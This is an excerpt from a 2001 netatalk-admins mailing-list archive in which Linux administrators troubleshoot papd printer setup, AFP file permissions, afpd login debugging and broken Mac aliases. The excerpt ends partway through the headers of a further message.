Content-Type: text/plain
References: <F216XKCnzNwRC6HixqD0000aba3@hotmail.com>
In-Reply-To: <F216XKCnzNwRC6HixqD0000aba3@hotmail.com>
MIME-Version: 1.0
Message-Id: <01082415050800.15301@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA07798

On Fri, 24 Aug 2001, pyx pyx wrote:
> Hi Everyone,
> 
> I succesfully installed an HP officejet G85 USB on my linux redhat 7.1 with 
> ghostscript-hpijs-5.50-5.rh7.i386.rpm and hpijs-0.97-1.rh7.i386.rpm and i 
> used the footmatic driver made with www.linuxprinting.org LPD engine.
> 
> I'm using netatalk-1.5pre6-1rh7.i386.rpm for enabling printing from a Mac 
> G3.
> 
> I created the printer on the mac and spooling seems to start but on my log i 
> find:
> papd[27648]: No such printer: lp
> apd[27648]: printcap problem: lp
> 
> I tried many papd.conf types with no success, some examples:
> HP-G85:\
> :pr=|/usr/bin/lpr -Plp:\
> :pd=/etc/atalk/color.ppd:
> 
> HP-G85:\
> :pr=|/usr/bin/lpr -Phpg85:\
> :pd=/etc/atalk/color.ppd:
> 
> HP-G85:\
> :pr=hpg85:\
> :pd=/etc/atalk/color.ppd:
> 
> Can someone please tell me who is invoking this damned lp?
> 
> Thaks in advance
> Paul

In your first example you did it yourself.
The second example should work if you have a printer called "hpg85" in your printcap.

Did you change the correct papd.conf? There may a copy from an older installation having a
different path to the netatalk config files than the one you are using now.

I hope you restarted papd after changing papd.conf, e.g. by restarting netatalk that your changes
can take effect!


Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Fri Aug 24 09:07:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA07947
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 09:07:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA13572
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 09:07:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA13570
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 09:07:28 -0400 (EDT)
Received: from mailout05.sul.t-online.de (mailout05.sul.t-online.com [194.25.134.82])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA13552
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 09:07:27 -0400 (EDT)
Received: from fwd04.sul.t-online.de 
	by mailout05.sul.t-online.de with smtp 
	id 15aGgY-00047v-03; Fri, 24 Aug 2001 15:07:42 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.195]) by fmrl04.sul.t-online.com
	with esmtp id 15aGgH-1zaNnsC; Fri, 24 Aug 2001 15:07:25 +0200
Mime-Version: 1.0
Message-Id: <a05100300b7ac021d6e43@[192.168.0.33]>
In-Reply-To: <3B864A12.A5CF4C1C@us.dhl.com>
References: <3B856D56.5A4A5A91@us.dhl.com> <B7AABDF3.9AB7%xris@mac.com>
 <20010823163343.K5686@newwww.teleologic.net>
 <3B864A12.A5CF4C1C@us.dhl.com>
Date: Fri, 24 Aug 2001 15:09:25 +0200
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: OT "Re: Sorry, the password you entered is incorrect.  Please
 reenter it."
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id JAA07947

>A bit of topic, but,
>every email I get from netatalk-admins, the subjet is
>"Re: Sorry, the password you entered is incorrect.  Please reenter it."
>Is everyone geting this, or just me.
>
>Pete

I got this too
-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Der Mensch hat dreierlei Wege, klug zu handeln:
erstens durch Nachdenken, das ist der edelste,
zweitens durch Nachahmen, das ist der leichteste,
und drittens durch Erfahrung, das ist der bitterste.
(Konfuzius)

From netatalk.administrators-errors@umich.edu  Fri Aug 24 11:13:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA13957
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 11:13:08 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA26931
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 11:12:54 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA26928
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 11:12:53 -0400 (EDT)
Received: from pobox.thezit.com ([206.135.44.121])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA26901
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 11:12:52 -0400 (EDT)
Received: from pobox.thezit.com (IDENT:jeff@pobox.thezit.com [206.135.44.120])
	by pobox.thezit.com (8.11.1/8.11.1) with ESMTP id f7OED8g16794
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 07:13:08 -0700
Date: Fri, 24 Aug 2001 07:13:08 -0700 (PDT)
From: Jeff Masud <jeff@sudjam.com>
X-Sender: jeff@pobox.thezit.com
To: netatalk-admins@umich.edu
Subject: Netatalk disconnect
Message-ID: <Pine.LNX.4.21.0108240710020.16585-100000@pobox.thezit.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I was wonder if someone could help me.  I've got a couple of users on my
network that are having a problem.  It seems that it's very intermittent
and I haven't been able to find anything in my error logs, but a user who
is printer has gotten disconnected from the netatalk volume.

This doesn't happen all the time, it's sometimes a specific multipage
quark document, but the same one is consistantly disconnecting the same
user.

Then a few days later it goes away.  

Any ideas on what's happening. I wouldn't ask but it's the third time this
has happened to the same person on diffeernt jobs on different weeks.

Jeff


From netatalk.administrators-errors@umich.edu  Fri Aug 24 18:08:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA28933
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 18:08:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id SAA10720
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 18:08:32 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA10709
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 18:08:32 -0400 (EDT)
Received: from cluster1.sfsu.edu (cluster1.sfsu.edu [130.212.10.213])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA10693
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 18:08:31 -0400 (EDT)
Received: from orion.sfsu.edu (daemon@orion.sfsu.edu [130.212.10.236])
	by cluster1.sfsu.edu (8.11.4/8.11.4) with ESMTP id f7OM8TH00036;
	Fri, 24 Aug 2001 15:08:29 -0700 (PDT)
Received: from localhost (rsauzier@localhost)
	by orion.sfsu.edu (8.11.4/8.11.4) with SMTP id f7OM8S220787;
	Fri, 24 Aug 2001 15:08:29 -0700 (PDT)
X-Authentication-Warning: orion.sfsu.edu: rsauzier owned process doing -bs
Date: Fri, 24 Aug 2001 15:08:28 -0700 (PDT)
From: Rob deMallac <rsauzier@sfsu.edu>
To: netatalk-admins@umich.edu
Subject: (OT) Permissions yet again...
In-Reply-To: <Pine.LNX.4.21.0108240710020.16585-100000@pobox.thezit.com>
Message-ID: <Pine.GSO.3.96.1010824145544.20339C-100000@orion.sfsu.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello all-

I've got some strange file permission problems that, although unrelated to
netatalk, are preventing it from working properly.

I'm using 1.5pre6, installed from RPM, on Mandrake 8.

Logged in as 'luser' ("Lowly User";), I touch a file and it has the
following permissions:
-rw-rw----	1 (date/time)	test.txt

I've got a umask value of 007 for all users, so this shouldn't be
happening.  Going through the very helpful archives, I followed advice to
chmod 2775 on the actual share and chmod g+s for all the little .Apple
files, but still no dice.

Any help greatly appreciated, and my undying gratitude to the kind soul
who prevents me from turning this into a stupid NT box next week!

Cheers!
-Rob
=)

*********************************
Rob deMallac
Network Manager
SFSU Journalism Department
http://www.journalism.sfsu.edu/
*********************************


From netatalk.administrators-errors@umich.edu  Fri Aug 24 18:34:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA29947
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 18:34:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA25378
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 18:34:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA25370
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 18:34:28 -0400 (EDT)
Received: from captain.centerpointgraphics.com ([198.107.33.35])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA25348
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 18:34:26 -0400 (EDT)
Received: by captain.centerpointgraphics.com from localhost
    (router,SLMail V3.2); Fri, 24 Aug 2001 15:25:08 -0700
Received: from [192.168.0.206] [192.168.0.206]
 by captain.centerpointgraphics.com [192.168.0.10]  (SLmail 3.2.3113) with ESMTP
 id F787B44D957711D5B11C00D0B715BF82
 for <rsauzier@sfsu.edu> plus 1 more; Fri, 24 Aug 2001 15:25:08 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 24 Aug 2001 15:34:36 -0700
Subject: Re: (OT) Permissions yet again...
From: Kerry Hormann <kerry@hardwareinsider.com>
To: Rob deMallac <rsauzier@sfsu.edu>, <netatalk-admins@umich.edu>
Message-ID: <B7AC248C.143%kerry@hardwareinsider.com>
In-Reply-To: <Pine.GSO.3.96.1010824145544.20339C-100000@orion.sfsu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-SLUIDL: FD443B2E-97EE11D5-B11C00D0-B715BF82


What exactly is the problem you're having?



> Logged in as 'luser' ("Lowly User";), I touch a file and it has the
> following permissions:
> -rw-rw----    1 (date/time)    test.txt
> 
> I've got a umask value of 007 for all users, so this shouldn't be
> happening.  

Sounds right to me.  A MASK of 007 will give you permissions of 770 for new
files.  But touch doesn't automatically create an executable file, thus the
660 permissions.



Kerry Hormann

Email kerry@hardwareinsider.com
------------------------------------------
<esc>:q!<enter>



> From: Rob deMallac <rsauzier@sfsu.edu>
> Date: Fri, 24 Aug 2001 15:08:28 -0700 (PDT)
> To: netatalk-admins@umich.edu
> Subject: (OT) Permissions yet again...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 24 Aug 2001 18:14:12 -0400 (EDT)
> 
> Hello all-
> 
> I've got some strange file permission problems that, although unrelated to
> netatalk, are preventing it from working properly.
> 
> I'm using 1.5pre6, installed from RPM, on Mandrake 8.
> 
> I've got a umask value of 007 for all users, so this shouldn't be
> happening.  Going through the very helpful archives, I followed advice to
> chmod 2775 on the actual share and chmod g+s for all the little .Apple
> files, but still no dice.
> 
> Any help greatly appreciated, and my undying gratitude to the kind soul
> who prevents me from turning this into a stupid NT box next week!
> 
> Cheers!
> -Rob
> =)
> 
> *********************************
> Rob deMallac
> Network Manager
> SFSU Journalism Department
> http://www.journalism.sfsu.edu/
> *********************************
> 


From netatalk.administrators-errors@umich.edu  Fri Aug 24 18:42:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00146
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 18:42:02 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id SAA28590
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 18:41:47 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id SAA28587
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 18:41:47 -0400 (EDT)
Received: from cluster1.sfsu.edu (cluster1.sfsu.edu [130.212.10.213])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id SAA28577
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 18:41:46 -0400 (EDT)
From: rsauzier@sfsu.edu
Received: from cluster1.sfsu.edu (diana.sfsu.edu [130.212.10.239])
	by cluster1.sfsu.edu (8.11.4/8.11.4) with ESMTP id f7OMfxT17680;
	Fri, 24 Aug 2001 15:41:59 -0700 (PDT)
Message-Id: <200108242241.f7OMfxT17680@cluster1.sfsu.edu>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
To: kerry@hardwareinsider.com
Cc: netatalk-admins@umich.edu
X-Originating-Ip: 130.212.250.117
MIME-Version: 1.0
Reply-To: rsauzier@sfsu.edu
Date: Fri, 24 Aug 2001 15:41:59 PDT
X-Mailer: EMUmail 4.5
Subject: Re: (OT) Permissions yet again...
X-Webmail-User: rsauzier@sfsu.edu

On Fri, 24 Aug 2001 15:34:36 -0700 Kerry Hormann wrote:
> What exactly is the problem you're having?

Oops - forgot that detail, huh?  ;-)
Logged in through the Chooser, I try to save a file from any program
other than 
SimpleText (?) and I get a Permission denied error.  Quark Xpress tells
me "Mac 
OS error (-500)".  And the net result is that it creates an empty file
with the 
filename I just tried to save as.  (Which is what inspired my little
experiment 
with touch!)

> > Logged in as 'luser' ("Lowly User";), I touch a file and it has the
> > following permissions:
> > -rw-rw----    1 (date/time)    test.txt
> > 
> > I've got a umask value of 007 for all users, so this shouldn't be
> > happening.  
> 
> Sounds right to me.  A MASK of 007 will give you permissions of 770
> for new
> files.  But touch doesn't automatically create an executable file,
> thus the
> 660 permissions.
>
>
>
> Kerry Hormann
> 
> Email kerry@hardwareinsider.com
> ------------------------------------------
> <esc>:q!<enter>
> 
> 
> 
> > From: Rob deMallac <rsauzier@sfsu.edu>
> > Date: Fri, 24 Aug 2001 15:08:28 -0700 (PDT)
> > To: netatalk-admins@umich.edu
> > Subject: (OT) Permissions yet again...
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Fri, 24 Aug 2001 18:14:12 -0400 (EDT)
> > 
> > Hello all-
> > 
> > I've got some strange file permission problems that, although
> unrelated to
> > netatalk, are preventing it from working properly.
> > 
> > I'm using 1.5pre6, installed from RPM, on Mandrake 8.
> > 
> > I've got a umask value of 007 for all users, so this shouldn't be
> > happening.  Going through the very helpful archives, I followed
> advice to
> > chmod 2775 on the actual share and chmod g+s for all the little .Apple
> > files, but still no dice.
> > 
> > Any help greatly appreciated, and my undying gratitude to the kind soul
> > who prevents me from turning this into a stupid NT box next week!
> > 
> > Cheers!
> > -Rob
> > =)
> > 
> > *********************************
> > Rob deMallac
> > Network Manager
> > SFSU Journalism Department
> > http://www.journalism.sfsu.edu/
> > *********************************
> > 



From netatalk.administrators-errors@umich.edu  Fri Aug 24 21:28:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA08002
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 21:28:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id VAA28780
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 21:28:29 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA28772
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 21:28:29 -0400 (EDT)
Received: from captain.centerpointgraphics.com ([198.107.33.35])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA28748
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 21:28:27 -0400 (EDT)
Received: by captain.centerpointgraphics.com from localhost
    (router,SLMail V3.2); Fri, 24 Aug 2001 18:18:57 -0700
Received: from [192.168.0.206] [192.168.0.206]
 by captain.centerpointgraphics.com [192.168.0.10]  (SLmail 3.2.3113) with ESMTP
 id F787B458957711D5B11C00D0B715BF82
 for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 18:18:57 -0700
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Fri, 24 Aug 2001 18:28:26 -0700
Subject: Re: (OT) Permissions yet again...
From: Kerry Hormann <kerry@hardwareinsider.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7AC4D4A.149%kerry@hardwareinsider.com>
In-Reply-To: <200108242241.f7OMfxT17680@cluster1.sfsu.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-SLUIDL: FD443B39-97EE11D5-B11C00D0-B715BF82


What are you running the daemons as (afpd, etc.).  It could be they don't
have permission to the share directory.

But you say you can save via SimpleText???!!

Kerry

Email kerry@hardwareinsider.com
------------------------------------------
NT...No Thanks



> From: rsauzier@sfsu.edu
> Reply-To: rsauzier@sfsu.edu
> Date: Fri, 24 Aug 2001 15:41:59 PDT
> To: kerry@hardwareinsider.com
> Cc: netatalk-admins@umich.edu
> Subject: Re: (OT) Permissions yet again...
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 24 Aug 2001 18:44:20 -0400 (EDT)
> 
> On Fri, 24 Aug 2001 15:34:36 -0700 Kerry Hormann wrote:
>> What exactly is the problem you're having?
> 
> Oops - forgot that detail, huh?  ;-)
> Logged in through the Chooser, I try to save a file from any program
> other than 
> SimpleText (?) and I get a Permission denied error.  Quark Xpress tells
> me "Mac 
> OS error (-500)".  And the net result is that it creates an empty file
> with the 
> filename I just tried to save as.  (Which is what inspired my little
> experiment 
> with touch!)
> 
>>> Logged in as 'luser' ("Lowly User";), I touch a file and it has the
>>> following permissions:
>>> -rw-rw----    1 (date/time)    test.txt
>>> 
>>> I've got a umask value of 007 for all users, so this shouldn't be
>>> happening.  
>> 
>> Sounds right to me.  A MASK of 007 will give you permissions of 770
>> for new
>> files.  But touch doesn't automatically create an executable file,
>> thus the
>> 660 permissions.
>> 
>> 
>> 
>> Kerry Hormann
>> 
>> Email kerry@hardwareinsider.com
>> ------------------------------------------
>> <esc>:q!<enter>
>> 
>> 
>> 
>>> From: Rob deMallac <rsauzier@sfsu.edu>
>>> Date: Fri, 24 Aug 2001 15:08:28 -0700 (PDT)
>>> To: netatalk-admins@umich.edu
>>> Subject: (OT) Permissions yet again...
>>> Resent-From: netatalk-admins@umich.edu
>>> Resent-Date: Fri, 24 Aug 2001 18:14:12 -0400 (EDT)
>>> 
>>> Hello all-
>>> 
>>> I've got some strange file permission problems that, although
>> unrelated to
>>> netatalk, are preventing it from working properly.
>>> 
>>> I'm using 1.5pre6, installed from RPM, on Mandrake 8.
>>> 
>>> I've got a umask value of 007 for all users, so this shouldn't be
>>> happening.  Going through the very helpful archives, I followed
>> advice to
>>> chmod 2775 on the actual share and chmod g+s for all the little .Apple
>>> files, but still no dice.
>>> 
>>> Any help greatly appreciated, and my undying gratitude to the kind soul
>>> who prevents me from turning this into a stupid NT box next week!
>>> 
>>> Cheers!
>>> -Rob
>>> =)
>>> 
>>> *********************************
>>> Rob deMallac
>>> Network Manager
>>> SFSU Journalism Department
>>> http://www.journalism.sfsu.edu/
>>> *********************************
>>> 
> 
> 


From netatalk.administrators-errors@umich.edu  Fri Aug 24 23:06:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA13069
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 24 Aug 2001 23:06:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA09597
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 24 Aug 2001 23:06:32 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA09584
	for netatalk.administrators-members@umich.edu; Fri, 24 Aug 2001 23:06:31 -0400 (EDT)
Received: from gemini.faredge.com.au ([203.94.150.195])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id XAA09553
	for <netatalk-admins@umich.edu>; Fri, 24 Aug 2001 23:06:28 -0400 (EDT)
Received: (qmail 24414 invoked from network); 25 Aug 2001 03:05:56 -0000
Received: from unknown (HELO celery) (203.94.150.200)
  by 203.94.150.195 with SMTP; 25 Aug 2001 03:05:56 -0000
From: "Chris Herrmann" <chris@faredge.com.au>
To: <netatalk-admins@umich.edu>
Subject: RE: Sorry, the password you entered is incorrect.  Please reenterit.
Date: Sat, 25 Aug 2001 13:06:04 +1000
Message-ID: <000a01c12d12$e1a235d0$c8965ecb@faredge.com.au>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <B7AB55C7.9B50%xris@forevermore.net>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

try /var/log/messages

ie.

#tail /var/log/messages -f

you should see a lot of afpd messages appearing. alternatively, start afpd
**without** forking (ie. not as a daemon), and you  should see debug
messages appear on your terminal.

in netatalk.conf, set:
ATALK_BGROUND=no

and fire up atalkd and afpd.

A couple of things to check: which uams are you using ie. dhx, pam (which
uses dhx), rand, cleartxt? you can define this both in afpd.conf and
netatalk.conf, but they won't work if you haven't compiled/made with these
options (ie. --with-pam --with-shadow etc etc...).

Cheers,

Chris

-----Original Message-----
From: xris [mailto:xris@forevermore.net]
Sent: Friday, 24 August 2001 17:52
To: Nigel Pegram; netatalk-admins@umich.edu
Subject: Re: Sorry, the password you entered is incorrect. Please
reenterit.


> try looking for afpd in daemon.log

Doesn't exist.   Maybe my system is just totally messed-up.  Though I
thought I did a pretty standard install of Slack 8.  Fresh drive, too.  I'm
going to try installing the RPM, though there's something that feels nice
about being able to install things from the source.



From netatalk.administrators-errors@umich.edu  Sat Aug 25 08:26:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA05526
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 25 Aug 2001 08:26:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with LDAP id IAA11556
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 25 Aug 2001 08:26:54 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA11548
	for netatalk.administrators-members@umich.edu; Sat, 25 Aug 2001 08:26:54 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA11530
	for <netatalk-admins@umich.edu>; Sat, 25 Aug 2001 08:26:53 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105])
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id IAA28274
	for <netatalk-admins@umich.edu>; Sat, 25 Aug 2001 08:57:03 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: That old alias thing again
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Sat, 25 Aug 2001 08:26:46 -0400
Message-ID: <1eyosp2.7y1imwdydrboM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 214 days)

Will the broken alias thing ever be fixed?

I keeps netatalk from ever being a serious fileserver for my company.

Why hasn't this got the attention it should?

Netatalk is the only AFP that has this problem that I know of.

From netatalk.administrators-errors@umich.edu  Sat Aug 25 11:50:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id LAA14122
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 25 Aug 2001 11:50:38 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id LAA01532
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 25 Aug 2001 11:50:23 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id LAA01523
	for netatalk.administrators-members@umich.edu; Sat, 25 Aug 2001 11:50:22 -0400 (EDT)
Received: from sj.com (dipsy.sj.com [62.96.248.15])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id LAA01509
	for <netatalk-admins@umich.edu>; Sat, 25 Aug 2001 11:50:21 -0400 (EDT)
Received: from [172.16.22.38] ([172.16.22.38] verified)
  by sj.com (CommuniGate Pro SMTP 3.3.2)
  with ESMTP id 5570247; Sat, 25 Aug 2001 17:50:31 +0200
Mime-Version: 1.0
X-Sender: rose@mail.i.sj.com (Unverified)
Message-Id: <p05100303b7ad745b29c3@[172.16.22.38]>
In-Reply-To: <1eyosp2.7y1imwdydrboM@cx448422-b.wwck1.ri.home.com>
References: <1eyosp2.7y1imwdydrboM@cx448422-b.wwck1.ri.home.com>
Date: Sat, 25 Aug 2001 17:50:04 +0200
To: leeb@digitalgraphics.net (Lee Blevins)
From: Axel Rose <rose@sj.com>
Subject: Re: That old alias thing again
Cc: netatalk-admins@umich.edu (Netatalk List)
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id LAA14122

The only solution there is besides having a HFS on the server
is to build and maintain a database recording IDs for each file.
A HFS disk ensures permanent IDs. Otherwise only a database can.

With the commercial software packages it took also quite a while
until this was stable. Furthermore it needs careful administration.

Don't forget that aliases are used internally in documents of
all kind.

I'd love to hear that such a server desktop database is considered
by developers. If not you will inevitably end with corrupted
Quark files for instance if the IDs change by a remount, a restart
or whatever.

A probable solution would involve another set of netatalk owned files,
more configuration, another server daemon, a lot of work and in the
beginning surely more user frustration compared to the few who actually
complain about alias problems now. I don't know anything about the
development resources but can imagine that arguments are there ...


Best,
Axel.

At 8:26 Uhr -0400 25.08.2001, Lee Blevins wrote:
>Will the broken alias thing ever be fixed?
>
>I keeps netatalk from ever being a serious fileserver for my company.
>
>Why hasn't this got the attention it should?
>
>Netatalk is the only AFP that has this problem that I know of.

Well - others had their problems too ...

-- 
------------------------------------------------------------------------
   Axel Rose                               "Was man nicht weiß,
   Springer & Jacoby                        das eben braucht man.
   Digital GmbH & Co. KG                    Und was man weiß,
   mailto:rose@sj.com                       kann man nicht brauchen."

From netatalk.administrators-errors@umich.edu  Sat Aug 25 15:31:47 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA23444
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 25 Aug 2001 15:31:46 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA18051
